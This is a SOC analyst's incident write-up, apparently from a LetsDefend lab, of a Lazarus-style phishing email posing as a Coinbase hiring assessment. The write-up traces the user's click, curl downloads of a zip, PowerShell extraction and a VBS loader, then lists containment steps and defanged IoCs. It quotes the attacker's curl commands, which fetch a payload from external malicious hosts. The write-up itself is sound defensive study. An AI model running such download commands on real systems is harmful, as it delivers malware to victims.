Additional Info:
Investigation Date: 7\/31\/2026<\/p>\n\n\n\n
1 Hour 34 Minutes Investigation Time<\/p>\n\n\n\n
A phishing email impersonating Coinbase prompted user interaction, leading to the execution of malicious curl downloads and a VBS loader. The host was contained, malicious artifacts were removed, and no persistence or C2 activity was identified. Case closed as a true positive.<\/p>\n\n\n\n
This investigation was performed in a simulated environment (LetsDefend). Certain artifacts, such as full email headers or raw EDR logs, were not available within the platform.<\/p>\n\n\n\n
======== Title(s) ========\n\nSOC337 - Lazarus Phishing Campaign Detected (APT38)\n\n======== Alert Details ========\n\nEvent ID: 315 \nEvent Time: Mar, 06, 2025, 07:15 AM \nRule : SOC337 - Lazarus Phishing Campaign Detected (APT38) \nLevel: Incident Responder\n\nSMTP Address : 152.89.61[.]96\n\nSource Address : trevorgreer9312 AT gmail[.]com \nDestination Address: Ellen AT letsdefend.io\n\nE-mail Subject :Invitation: Coinbase Crypto Trader Hiring Assessment \nDevice Action: Allowed\n\n======== Raw logs\/Headers ========\n\nN\/a\n\n=============================================\n\n== OSINT\/SandboxAnalysis\/ThreatIntel\/Artifacts\/References ==\n\nhttps://www.virustotal.com\/gui\/ip-address\/152.89.61.96\n9\/91\n152.89.61[.]96\n\ntrevorgreer9312 AT gmail[.]com\n\n(https:\/\/www.virustotal.com\/gui\/url\/4d7ebfcefc1b9c25ddcdc921fcc1c792dc289f915532194f8d61d7f931dcae0c)\n14\/92 \nhxxps[]:\/\/]blockchainjobhub[.]com\/invite\/E3fM8yF7\n\n(https:\/\/www.virustotal.com\/gui\/url\/1dc0aa5a2878900868737a96c59e19660832cebbd8816b2860d8b03be851a372)\n8\/97 \nhxxps[]:\/\/]api[.]drivercams[.]cloud\/nvidia-al[.]update\n\n(https:\/\/www.virustotal.com\/gui\/file\/f10f1aa1b1adad456558d79084940b1d3d60329ed92210bbed7e3c55cc0b9a4b)\n18\/60 \nf10f1aa1b1adad456558d79084940b1d3d60329ed92210bbed7e3c55cc0b9a4b\n\n(https:\/\/www.virustotal.com\/gui\/file\/9142d6dce5bf7cf2f690066d57dc86650a824acce7df93192a557eeb64e17c85)\n1\/62 \n9142d6dce5bf7cf2f690066d57dc86650a824acce7df93192a557eeb64e17c85\n\n======== Historical Analysis ========\n\nN\/a\n\n======== Queries Ran ========\n\nInbound traffic to the Ellen host IP of 172.16.17.214, revealing traffic to the download URLs\n\nChecked for outbound traffic from 172.16.17.214 on SIEM, returning no data.\n\nChecked scope to see if the sender address reached out to anyone else, confirmed this is the only host affected.\n\nChecked if URLs \"hxxps[]:\/\/]blockchainjobhub[.]com\/invite\/E3fM8yF7\" and \"hxxps[]:\/\/]files-ld[.]s3[.]us-east-2[.]amazonaws[.]com\/nvidiaupdate[.]zip\" were accessed by anyone else, confirmed this was the only host to access these URLs.\n\n======== Synopsis ========\n\n> Queried the Email Security module for the employee Ellen and found the suspicious email that caused the trigger.\n> Can confirm that the Email was received on Mar, 06, 2025, 07:15 AM from the sender email address listed in the alert details. \n> Checked the reputation of the SMTP Address; internal threat intelligence returned no data, Virustotal marks it as malicious by 9 vendors (https:\/\/www.virustotal.com\/gui\/ip-address\/152.89.61.96)\n> Email body seems to mimic an assessment for a job, and contains a button that leads to a URL of \"hxxps[]:\/\/]blockchainjobhub[.]com\/invite\/E3fM8yF7\" that is marked as malicious as per virustotal ([https:\/\/www.virustotal.com\/gui\/url\/4d7ebfcefc1b9c25ddcdc921fcc1c792dc289f915532194f8d61d7f931dcae0c](https:\/\/www.virustotal.com\/gui\/url\/4d7ebfcefc1b9c25ddcdc921fcc1c792dc289f915532194f8d61d7f931dcae0c)) and tied it to APT 38 activity\n> Endpoint security module shows that the host Ellen visited the malicious link on 2025-03-07 00:21:35 \n> 17-hour delay between email delivery and access; no evidence found to explain the gap (host was possibly idle\/user away, unconfirmed)\n> Log Management reveals that on Mar, 07, 2025, at 12:23 AM, the threat actor ran the command \"\"C:\\Windows\\system32\\curl.exe\" -k -o \"C:\\Users\\LetsDefend\\nvidiaupdate.zip\" hxxps[]:\/\/]api[.]drivercams[.]cloud\/nvidia-al[.]update\" which seems to contact a different URL to download a file \n> Endpoint security shows another curl command executed at Mar 7 2025, at 00:25:05, with the command being \"\"C:\\Windows\\system32\\curl.exe\" -k -o \"C:\\Users\\LetsDefend\\nvidiaupdate.zip\" hxxps[]:\/\/]files-ld[.]s3[.]us-east-2[.]amazonaws[.]com\/nvidiaupdate[.]zip\" \n> URL from second Curl Command is marked as malicious by 8 vendors as per virustotal ([https:\/\/www.virustotal.com\/gui\/url\/1dc0aa5a2878900868737a96c59e19660832cebbd8816b2860d8b03be851a372](https:\/\/www.virustotal.com\/gui\/url\/1dc0aa5a2878900868737a96c59e19660832cebbd8816b2860d8b03be851a372)) and tied to a subgroup of Conti.\n> EDR shows confirmed PowerShell execution on Mar 7 2025 00:25:27, revealing decompression of the installed zip file (\"C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\PowerShell.exe\" -Command \"Expand-Archive -Force -Path 'C:\\Users\\LetsDefend\\nvidiaupdate.zip' -DestinationPath 'C:\\Users\\LetsDefend\\nvidiadrive'\"). This command was ran 7 times up to the time of Mar 7 2025 00:25:42 \n> At Mar 7 2025 00:25:55 via the EDR, indication of the presence of a VBS script is present at the path of \"C:\\Users\\LetsDefend\\nvidiadrive\\update.vbs\"\n> Checked Run\/RunOnce registry keys, scheduled tasks, and service creation events on the host, no persistence mechanisms identified. Checked outbound connections and DNS queries post-execution, no C2 beaconing identified.\n\n> Following playbook, Deleted Email from Recipients Mailbox \n> Logged into host via EDR and obtained hashes in the malicious folder. \n> VBS script is marked as malicious by 18 vendors ([https:\/\/www.virustotal.com\/gui\/file\/f10f1aa1b1adad456558d79084940b1d3d60329ed92210bbed7e3c55cc0b9a4b](https:\/\/www.virustotal.com\/gui\/file\/f10f1aa1b1adad456558d79084940b1d3d60329ed92210bbed7e3c55cc0b9a4b)) and seems to act as a Trojan to update NVIDIA drivers. Seems to come with a BAT file ([https:\/\/www.virustotal.com\/gui\/file\/9142d6dce5bf7cf2f690066d57dc86650a824acce7df93192a557eeb64e17c85](https:\/\/www.virustotal.com\/gui\/file\/9142d6dce5bf7cf2f690066d57dc86650a824acce7df93192a557eeb64e17c85)) and three other files called minictadriver.cat, MiniCtaDriver.inf, and MiniCtaDriver.sys. \n> Continuing with playbook, contained the Ellen host \n> Host logs via Event Viewer show that at 3\/7\/2025 12:25:54 AM the VBS script was run using wscript.exe \n> Removed Malicious Zip and files from host\n\n======== Closure Code ========\n\nTrue positive; activity seems to be related to APT38 as well as a subgroup under Conti.\n\n======== Recommendations ========\n\n> Add IoCs to internal threat intelligence. \n\n\"\"\nIP: 152.89.61[.]96\nEmail: trevorgreer9312 AT gmail[.]com\nURl: hxxps[]:\/\/]blockchainjobhub[.]com\/invite\/E3fM8yF7\nURL: hxxps[]:\/\/]api[.]drivercams[.]cloud\/nvidia-al[.]update\nSHA256: f10f1aa1b1adad456558d79084940b1d3d60329ed92210bbed7e3c55cc0b9a4b\nSHA256: 9142d6dce5bf7cf2f690066d57dc86650a824acce7df93192a557eeb64e17c85\n\"\"\n> Scan host and continue to monitor\n> Rotate user passwords<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"Additional Info:Investigation Date: 7\/31\/2026 1 Hour 34 Minutes Investigation Time A phishing email impersonating Coinbase prompted user interaction, leading to the execution of malicious curl downloads and a VBS loader. The host was contained, malicious artifacts were removed, and no persistence or C2 activity was identified. Case closed as a true positive. This investigation was performed in a simulated environment (LetsDefend). Certain artifacts, such as full email headers or raw EDR logs, were not available within the platform.<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"class_list":["post-1216","page","type-page","status-publish","hentry"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t